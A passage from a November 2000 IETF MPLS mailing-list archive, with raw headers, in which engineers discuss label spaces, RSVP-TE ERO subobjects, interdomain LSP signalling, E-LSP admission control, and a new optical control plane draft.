arrive on. Also, what was once a outer label could become an inner label due to protection switching/path protection. The blanket statement of: "All inner labels are allocated from the platform label space" does not fit every case. I think there is a better solution then this. Per-service label spaces is my (obviously failed) attempt at a solution. Regards, Jim -- James R. Leu From owner-mpls@UU.NET Mon Nov 27 16:57:06 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA17897 for ; Mon, 27 Nov 2000 16:57:05 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjred18623; Mon, 27 Nov 2000 21:54:20 GMT Received: by mail-control.mail.uu.net id QQjred26577 for mpls-outgoing; Mon, 27 Nov 2000 21:53:48 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjred26540 for ; Mon, 27 Nov 2000 21:53:38 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjred20652 for ; Mon, 27 Nov 2000 21:52:46 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjred22340 for ; Mon, 27 Nov 2000 21:52:46 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id QAA21156 for mpls@uu.net; Mon, 27 Nov 2000 16:52:44 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjred26476 for ; Mon, 27 Nov 2000 21:52:24 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjred17247 for ; Mon, 27 Nov 2000 21:51:32 GMT Received: from procyon.pmc-sierra.bc.ca by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: procyon.pmc-sierra.bc.ca [134.87.115.1]) id QQjred20471 for ; Mon, 27 Nov 2000 21:51:31 GMT Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by procyon.pmc-sierra.bc.ca (6.6.6/6.6.6) with ESMTP id NAA04363; Mon, 27 Nov 2000 13:50:48 -0800 (PST) Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2650.21) id ; Mon, 27 Nov 2000 13:50:48 -0800 Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A8B@BBY1EXM01> From: Shahram Davari To: "'jleu@mindspring.com'" Cc: James_Huang@Mitel.COM, mpls@UU.NET Subject: RE: Label space of a label advertised through MPLS-BGP Date: Mon, 27 Nov 2000 13:50:46 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Hi James, > we need to search for a value which does > not conflict > with the label spaces of the interfaces that this label could > arrive on. > Actually we don't need to do any search. During the node configuration, a part of the per-interface label spaces could be set aside for per-platform label space. Then we could be sure there is no conflict. > Also, what was once a outer label could become an inner label due to > protection switching/path protection. If we expect this to happen, we also need to use per-platform label space for the outer tunnel. Regards, -Shahram From owner-mpls@UU.NET Mon Nov 27 18:15:55 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA14857 for ; Mon, 27 Nov 2000 18:15:54 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrei19260; Mon, 27 Nov 2000 23:13:49 GMT Received: by mail-control.mail.uu.net id QQjrei26945 for mpls-outgoing; Mon, 27 Nov 2000 23:13:16 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjrei26934 for ; Mon, 27 Nov 2000 23:13:03 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrei06874 for ; Mon, 27 Nov 2000 23:12:51 GMT Received: from csa.iisc.ernet.in by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: csa.iisc.ernet.in [144.16.67.8]) id QQjrei01112 for ; Mon, 27 Nov 2000 23:12:48 GMT Received: from neumann.csa.iisc.ernet.in (IDENT:root@neumann.csa.iisc.ernet.in [144.16.67.5]) by csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id CAA27630 for ; Tue, 28 Nov 2000 02:58:15 +0530 Received: from localhost (prasanna@localhost) by neumann.csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id DAA11780 for ; Tue, 28 Nov 2000 03:00:42 +0530 X-Authentication-Warning: neumann.csa.iisc.ernet.in: prasanna owned process doing -bs Date: Tue, 28 Nov 2000 03:00:42 +0530 (IST) From: Gaitonde Anandprasanna To: mpls@UU.NET Subject: Several questions about the ERO Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk If u can remeber there was some discussion going on How to fill ERO object in case of RSVP-TE , but somehow i was unable to ask my questions at that time. I have the follwoing queries: 3 options had been considered: 1) Put the router ID of the routers. This does not work with routers having multiuple links and unnumbered interfaces. First i would like to know how can we put the router ID in the ERO subobject. If we see the format of the ERO subobject we can put IPV4 prefix, IPV6 prefix or AS Number inside that object . so how can we put router id. Is it in IP address format??? 2) Put in the egress interface of the routers on the path. That is remote IP addrress of each link . But in case of unnumbered links how can we get the IP address of the remote end. PLease let me know this. And also i am confused as to how to do the following Refer RSVP-TE draft Section 4.3.4.1 : SElection of Next Hop: 5) Interior of the abstract nnode case:- Otherwise, the node slects the next hop within the abstract node of the subobject ( which the node belongs to) that is along the path to the abstract node of the second subobject ( which is the next abstract node). How can we do this ?? Please let me know. (Perhaps i am asking an implentation question here...) Thanx in advance Pras _____________________________ _ |ANANDPRASANNA GAITONDE | _ / )|COMP. SCIENCE & AUTOMATION |( \ / / |D-7,IISc HOSTEL | \ \ / / |INDIAN INSTITUTE OF SCIENCE| \ \ _( (_ |BANGALORE-560012. | _) )_ (((\ \>|_/->___________________<-_|; Mon, 27 Nov 2000 18:27:32 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrej19022; Mon, 27 Nov 2000 23:25:07 GMT Received: by mail-control.mail.uu.net id QQjrej29251 for mpls-outgoing; Mon, 27 Nov 2000 23:24:41 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjrej29223 for ; Mon, 27 Nov 2000 23:24:37 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrej02367 for ; Mon, 27 Nov 2000 23:24:03 GMT Received: from IRISNT1.iris.irislabs.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail.irislabs.com [64.123.160.251]) id QQjrej17421 for ; Mon, 27 Nov 2000 23:24:03 GMT Received: by IRISNT1.iris.irislabs.com with Internet Mail Service (5.5.2650.21) id ; Mon, 27 Nov 2000 17:25:03 -0600 Message-ID: From: Sandeep Sharma To: "'neil.2.harrison@bt.com'" , iokumus@mailbox.syr.edu, mpls@UU.NET Cc: andy.bd.reid@bt.com, mike.sexton@alcatel.co.uk Subject: RE: interdomain LSP setup Date: Mon, 27 Nov 2000 17:25:03 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk I think the initial question was geared more towards signaling protocols that need to come into play if a LSP is needed between routers in two ASs. For example, can you progress an RSVP message between AS boundaries? While modeling layered networks helps in the network management of these networks, it does not help in real-time signaling problems in the network. - Sandeep Sandeep Sharma Iris Labs > -----Original Message----- > From: neil.2.harrison@bt.com [mailto:neil.2.harrison@bt.com] > Sent: Monday, November 27, 2000 3:57 AM > To: iokumus@mailbox.syr.edu; mpls@UU.NET > Cc: andy.bd.reid@bt.com; mike.sexton@alcatel.co.uk > Subject: RE: interdomain LSP setup > > > Taner....you are referring to the architectural concept of 'layered > networks', which is one facet of the larger discipline of functional > modelling of networks. That is, a link connection of a > client trail (which > is 1 hop in the client trail) = a server layer trail. LSPs > create layered > networks (of theoretically arbitrary nested depth), and it is > something the > IETF are going to have to get to grips with if MPLS is going > to progress > beyond an intra-domain 'IP accessory' and have any properly engineered > future. This does not seem well understood by many it seems, > and it has > some very important consequences that cannot be > ignored....especially wrt > the functionality that must be applied at trail termination > points and the > server->client adaptation mappings. Getting to grips with > these concepts is > critical as one moves the focus from intra-domain to inter-domain. > > You may have seen some mails from me in the past that gave > some warnings on > the need for more architectural rigour in this area....such as: > - since client layer links = server layer trail terminations, > addressing across nested layer networks cannot be congruent > (this is an > important issue for the Optical Transport Network and its many > clients....here the concept is generalised MPLS); From owner-mpls@UU.NET Mon Nov 27 18:33:15 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA19348 for ; Mon, 27 Nov 2000 18:33:15 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrek28134; Mon, 27 Nov 2000 23:31:06 GMT Received: by mail-control.mail.uu.net id QQjrek00015 for mpls-outgoing; Mon, 27 Nov 2000 23:30:41 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrek29998 for ; Mon, 27 Nov 2000 23:30:33 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrej17569 for ; Mon, 27 Nov 2000 23:29:26 GMT Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6]) id QQjrej25526 for ; Mon, 27 Nov 2000 23:29:25 GMT Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA01481 for ; Mon, 27 Nov 2000 18:29:23 -0500 (EST) Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA23160 for ; Mon, 27 Nov 2000 18:29:24 -0500 (EST) Message-ID: <3A22EE7D.AFFFE89E@marconi.com> Date: Mon, 27 Nov 2000 18:30:05 -0500 From: David Charlap X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en-US,en-GB,en MIME-Version: 1.0 To: mpls@UU.NET Subject: Re: Several questions about the ERO References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Gaitonde Anandprasanna wrote: > > If u can remeber there was some discussion going on > How to fill ERO object in case of RSVP-TE , but somehow i was unable > to ask my questions at that time. > > I have the follwoing queries: > > 3 options had been considered: > 1) Put the router ID of the routers. This does not work with routers > having multiuple links and unnumbered interfaces. > > First i would like to know how can we put the router ID in the ERO > subobject. If we see the format of the ERO subobject we can put IPV4 > prefix, IPV6 prefix or AS Number inside that object . > > so how can we put router id. Is it in IP address format??? Most routers choose one of their interface IP addresses as a router ID. Even if some other address is manually configured, I think routing protocols advertise these addresses. With respect to multiple links and unnumbered interfaces, you can still specify an ERO, but not with full precision. You can still specify a list of routers that the LSP must go through, although you won't be able to specify specific links. Since router IDs (as defined by OSPF and ISIS) are 4-byte values just like IP addresses, the existing IPv4 prefix subobject should work. > 2) Put in the egress interface of the routers on the path. > That is remote IP addrress of each link . > > But in case of unnumbered links how can we get the IP address of the > remote end. Via a local routing table. If the required information doesn't exist (meaning it wasn't learned via routing protocols and was not configured), then there is no way to determine the next-hop interface and a PathErr will be generated. > Refer RSVP-TE draft Section 4.3.4.1 : > > SElection of Next Hop: > > 5) Interior of the abstract nnode case:- Otherwise, the node slects > the next hop within the abstract node of the subobject ( which the > node belongs to) that is along the path to the abstract node of the > second subobject ( which is the next abstract node). > > How can we do this ?? Please let me know. (Perhaps i am asking an > implentation question here...) If an ERO subobject doesn't uniquely specify a single next-hop (could be a loose subobject, an AS number, a prefix shorter than /32, or other reasons) then the switch must pick a next-hop using whatever means it has. I think most implementations will use the switch's local routing table, possibly taking QoS requirements into account. If the switch doesn't have a local routing table, then it will obviously be unable to process a a subobject where the next-hop is ambiguous and will generate a PathErr. -- David From owner-mpls@UU.NET Tue Nov 28 02:07:55 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA03065 for ; Tue, 28 Nov 2000 02:07:54 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrfo22246; Tue, 28 Nov 2000 07:05:32 GMT Received: by mail-control.mail.uu.net id QQjrfo04945 for mpls-outgoing; Tue, 28 Nov 2000 07:05:14 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrfo04940 for ; Tue, 28 Nov 2000 07:05:08 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrfo23268 for ; Tue, 28 Nov 2000 07:04:38 GMT Received: from internet-gateway.zurich.ibm.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: internet-gateway-x.zurich.ibm.com [195.212.119.253]) id QQjrfo06096 for ; Tue, 28 Nov 2000 07:04:38 GMT Received: from zurich.ibm.com (internet-gateway.zurich.ibm.com [9.4.3.253]) by internet-gateway.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with ESMTP id IAA42172; Tue, 28 Nov 2000 08:04:06 +0100 Message-ID: <3A2358E5.9050C440@zurich.ibm.com> Date: Tue, 28 Nov 2000 08:04:05 +0100 From: "Daniel N. Bauer" Organization: IBM Research X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.14-12 i686) X-Accept-Language: de, en MIME-Version: 1.0 To: Shahram Davari CC: mpls@UU.NET Subject: Re: E-LSP or L-LSP References: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A82@BBY1EXM01> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Shahram Davari wrote: > > Hi Daneil, > > With all due respect, I don't think that your mentioned approach will work efficiently. First of all it is not reasonable to expect all routers to have exactly the same BW assignment per PHB. Secondly, it is also not reasonable to expect an E-LSP to carry traffic in proportion to their PHB assignments in the routers. > > My understanding of using the E-LSP aggregate BW for admission control is as follows: > > During an E-LSP setup, the aggregate BW of all supported PHBs is signaled. If all the routers in the path, have sufficient BW, the E-LSP is admitted. Now at the ingress to this E-LSP, the ingress router could do a separate admission control for each supported BA that is using the mentioned E-LSP (note this is independent of the E-LSP admission control). In other words there are two phases to the admission control, one for the whole E-LSP and another one for the traffic that is going to use that E-LSP. This is very similar to the Aggregate RSVP admission control (check ISSL WG for more information). > > Regards, > -Shahram Hello Shahram, maybe my assumptions are a little bit far-fetched. Still, your solution does not (yet?) convince me, either. In your proposal, the following points are not quite clear to me: 1.) How does the "admission control for each supported BA" work? How does the ingress LSR split up the aggregated BW request into a BW request for each BA? What is the rational to do admission control for the BAs only at the edge? I don't find this very similar to the Aggregate RSVP admission control. There, the requirement of each flow is known before the flows are aggregated. This is not the case for E-LPSs. 2.) If admission control for E-LSPs is only based on the aggregate bandwidth, it becomes difficult to do a reliable admission control for L-LSPs. For L-LSP admission control, the LSRs need to know the unreserved bandwidth per OA. How is it possible to do book-keeping for unreserved bandwidth, if E-LSPs are admitted on the aggregate? Maybe a solution is to extend the signaling and include optionally the BW requirements per OA for E-LSPs. Regards, -Daniel From owner-mpls@UU.NET Tue Nov 28 03:53:42 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA17791 for ; Tue, 28 Nov 2000 03:53:42 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrfv15061; Tue, 28 Nov 2000 08:50:05 GMT Received: by mail-control.mail.uu.net id QQjrfv23297 for mpls-outgoing; Tue, 28 Nov 2000 08:49:34 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrfv23288 for ; Tue, 28 Nov 2000 08:49:18 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrfv08772 for ; Tue, 28 Nov 2000 08:49:16 GMT From: neil.2.harrison@bt.com Received: from gandalf.axion.bt.co.uk by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: gandalf.axion.bt.co.uk [132.146.17.29]) id QQjrfv13806 for ; Tue, 28 Nov 2000 08:49:15 GMT Received: from cclmsent02.lon.bt.com by gandalf (local) with ESMTP; Tue, 28 Nov 2000 08:48:25 +0000 Received: by cclmsent02.lon.bt.com with Internet Mail Service (5.5.2652.35) id ; Tue, 28 Nov 2000 08:48:31 -0000 Message-ID: To: ssharma@mail.irislabs.com, iokumus@mailbox.syr.edu, mpls@UU.NET Cc: andy.bd.reid@bt.com, mike.sexton@alcatel.co.uk Subject: RE: interdomain LSP setup Date: Tue, 28 Nov 2000 08:48:22 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Hi Sandeep, > I think the initial question was geared more towards signaling protocols > that need to come into play if a LSP is needed between routers in two ASs. > For example, can you progress an RSVP message between AS boundaries? > > While modeling layered networks helps in the network management of these > networks, it does not help in real-time signaling problems in the network. > NH=> I understand the sentiments of the initial question. But unless one also has a clear functional model of both the user and the control planes and also understands the 'service' requirements (a very important issue for the development of the OTN), then one cannot relate their required behaviour in an unambiguous manner. MPLS creates layer networks, and whilst we can pretend this is not true it does not help us take MPLS forward. It is not the same as a simpler IP-only connectionless mode. We don't have that recognition yet and I believe we need it. From owner-mpls@UU.NET Tue Nov 28 06:42:59 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA23841 for ; Tue, 28 Nov 2000 06:42:59 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrgg02518; Tue, 28 Nov 2000 11:39:26 GMT Received: by mail-control.mail.uu.net id QQjrgg08670 for mpls-outgoing; Tue, 28 Nov 2000 11:39:02 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrgg08665 for ; Tue, 28 Nov 2000 11:38:57 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrgg08233 for ; Tue, 28 Nov 2000 11:37:45 GMT From: darren.freeland@bt.com Received: from gandalf.axion.bt.co.uk by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: gandalf.axion.bt.co.uk [132.146.17.29]) id QQjrgg27754 for ; Tue, 28 Nov 2000 11:37:45 GMT Received: from cbtlipnt01.btlabs.bt.co.uk by gandalf (local) with ESMTP; Tue, 28 Nov 2000 11:37:01 +0000 Received: by cbtlipnt01.btlabs.bt.co.uk with Internet Mail Service (5.5.2652.35) id ; Tue, 28 Nov 2000 11:37:13 -0000 Message-ID: <71DA16F18D32D2119A1D0000F8FE9A940920C8C1@mbtlipnt01.btlabs.bt.co.uk> To: ip-optical@lists.bell-labs.com Cc: mpls@UU.NET Subject: Considerations on the development of an Optical Control Plane Date: Tue, 28 Nov 2000 11:35:37 -0000 X-Mailer: Internet Mail Service (5.5.2652.35) MIME-version: 1.0 Content-type: text/plain; charset="ISO-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hi, A new I-D has been submitted to the IETF. "Considerations on the development of an Optical Control Plane". Abstract: Work on extensions to IP control protocols for reuse in the control plane of optical transport networks has now been underway for around a year in the MPLS and IPO groups. Recent discussions have however highlighted a lack of defined requirements that should be met by candidate protocols being considered for the optical control plane. Indeed, there have been several requests for carriers to submit their requirements. This draft provides one view of some (but by no means all) of these requirements. A protocol independent approach is taken, and the authors recommend that the design of any particular facet of an optical control plane should take into account the considerations made in this document. Unfortunately I missed the deadline on Friday by around 1/2 an hour so. Instead of waiting until after Dec. 10, it may be viewed at: http://www.btinternet.com/~m.d.ford/draft-freeland-octrl-cons-00.txt Regards, Darren. -------------------------------------------- > Disclaimer > > "The information and statements in this > email are supplied and made in good faith > and without prejudice. They do not > represent BT's only or final view or > position and are subject to any change > that BT may wish to make (including a > complete reversal). BT will not be liable > for any action you take or not take based > upon the contents of this email". -------------------------------------------- From owner-mpls@UU.NET Tue Nov 28 07:24:54 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA07848 for ; Tue, 28 Nov 2000 07:24:54 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrgj25015; Tue, 28 Nov 2000 12:21:53 GMT Received: by mail-control.mail.uu.net id QQjrgj23370 for mpls-outgoing; Tue, 28 Nov 2000 12:21:23 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrgj23343 for ; Tue, 28 Nov 2000 12:21:19 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrgj24685 for ; Tue, 28 Nov 2000 12:19:46 GMT Received: from radmail.rad.co.il by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: radmail.rad.co.il [207.232.32.10]) id QQjrgj26082 for ; Tue, 28 Nov 2000 12:19:44 GMT Received: from vine ([192.168.254.41]) by radmail.rad.co.il (Post.Office MTA v3.5.3 release 223 ID# 0-69802U1300L1200S0V35) with SMTP id il; Tue, 28 Nov 2000 13:22:02 +0200 From: "Sasha Vainshtein" To: Cc: "mpls@UU. NET" Subject: RE: E-LSP or L-LSP Date: Tue, 28 Nov 2000 14:21:13 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <3A2265D8.9559885@zurich.ibm.com> Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit ______________________________________________ With best regards, Sasha Vainshtein mailto: sasha@iprad.co.il phone: +972-3-7659993 (office) fax: +972-3-6487779 (office) >>-----Original Message----- >>From: dnb@zurich.ibm.com [mailto:dnb@zurich.ibm.com] >>Sent: Monday, November 27, 2000 3:47 PM >>To: Sasha Vainshtein >>Cc: mpls@UU. NET >>Subject: Re: E-LSP or L-LSP >> >> >>> The examples I have in mind are based on the naive understanding of the >>> "weighted" per E-LSP admission rules. >>> Example 1: Bandwidth on the link is pre-allocated like you have >>said (i.e.,5 >>> MBit/s for EF, 10 Mbit/s for AF1 etc.). However, "all" the 5 >>Mbit/s of the >>> EF traffic in this node as well as, say 1 Mbit/s of AF1 and 1 >>Mbit/s of AF3 >>> go to the same destination. Such a flow could be satisfied by a 7 Mbit/s >>> E-LSP with appropriate admission rules - but these rules >>cannot, to the best >>> of my understanding, be derived from the overall distribution >>of capacity >>> of the egress link. >> >>Of course, there are other (and maybe better) ways to conduct >>admission control >>for E-LSPs. If you have another solution that works for both >>L-LSPs and E-LSPs, >>then I'm really eager to know how it works. >>However, I still think that my proposal makes some sense. The >>distribution of >>pre-allocated resources reflects the distribution of the total expected >>traffic. It is therefore also reasonable to request that the distribution >>of traffic inside an E-LSP corresponds to this global >>distribution. The system >>would then work as follows: >>1.) For each PSC, the amount of reservable bandwidth is maintained. >>2.) If an L-LSP is admitted, only a single PSC applies and >>admission control >> is easy. There must be some sort of policing at the edge of >>the network, >> such that no more than the requested bandwidth is used. This >>might means a >> re-mapping of the DiffServ Code Point. >>3.) If an E-LSP is admitted, multiple PSC apply. Admission >>control uses the >> global distribution, as described earlier, to compute the >>requested bandwidth >> per OA and thus can check whether enough bandwidth for the >>corresponding PSC >> is available. Also, there must be some sort of policing at >>the edge of the >> network. In fact, the same global distribution is used to >>break down the >> total reserved amount of bandwidth. Policing of E-LSP traffic is then >> be carried out per OA. >> >>To come back to your example: Given the global distribution and >>the 7 Mbit/s >>of total bandwidth for that E-LSP, then policing will kick in. >>The distribution: >>EF - 5, AF1 - 1, AF3 -1 would not be possible. If such a >>distribution is required, >>then three L-LSPs need to be set up. Of course 3 separate L-LSPs will solve the problem. The key underlying problem (from my point of view) is: Can we define meaningful applications for E-LSPs? And if yes, then what are these applications? The problem with implcit redistibution of bandwidth between several BAs within the same E-LSP is exactly that: it is implicit. That means that the network operator can obtain unexpected results and then be stuck with them. Your interpretation of example 2 illustrates this situation perfectly: the network operator has to guess (how? and based upon which information) that the combination of two E-LSPs is illegal and to choose anothre tool (e.g., L-LSP). From my point of view this means that the bandwidth redistribution rules have to become part of the standard in order to avoid interoperability problems and ambiguity. My gut feeling (and I may be quite wrong, I have just started working in this area) is that E-LSPs can be used for BAs which do not imply bandwidth reservation, e.g., for the CS (say, with a trivial CS-->EXP mapping, you happen to have exactly the right number of bits). I have strong doubts regarding meaningful application of E-LSPs for combining BAs with independent bandwidth reservation, like EF and AFx. >> >>> Example 2: Two 25 Mbit/s E-LSPs are requested, one carrying EF >>and AF3, the >>> other one carrying EF and AF4. According to the "relative >>weights" logic, up >>> to 5 Mbit/s would be admitted to each of the two E-LSPs, with the total >>> exceeding the overall 5% limit on EF. >> >>Since admission control does not work in parallel, the following >>would happen. >>Global distribution: EF gets 5%, AF1.x gets 10%, AF2.x gets 20%, >>AF3.x gets 20%, >>AF4.x gets 20%. Total link capacity: 100Mbit/s. Reservable bw for >>EF: 5 Mbit/s. >>First E-LSP: 25 Mbit/s -> 5 Mbit/s for EF, 20 Mbit/s for AF3. >>This can be admitted. >>Now, there is no reservable bandwidth for EF left. >>Second E-LSP: 25 Mbit/s -> 5 Mbit/s for EF,20 Mbit/s for AF4. >>Since no bw is left >>for EF, the second E-LSP will not get admitted. The situation when the results depend upon the order of processing (i.e., if we start with the 2nd LSP then the 1st one would not be admitted) look to me highly suspicious. >> >>Best regards, >> >>-Daniel >> From owner-mpls@UU.NET Tue Nov 28 10:05:07 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA11921 for ; Tue, 28 Nov 2000 10:05:06 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrgu07183; Tue, 28 Nov 2000 15:00:01 GMT Received: by mail-control.mail.uu.net id QQjrgt28115 for mpls-outgoing; Tue, 28 Nov 2000 14:59:29 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrgt28110 for ; Tue, 28 Nov 2000 14:59:25 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrgt15361 for ; Tue, 28 Nov 2000 14:59:15 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrgt20844 for ; Tue, 28 Nov 2000 14:59:14 GMT Received: (from erosen@localhost) by 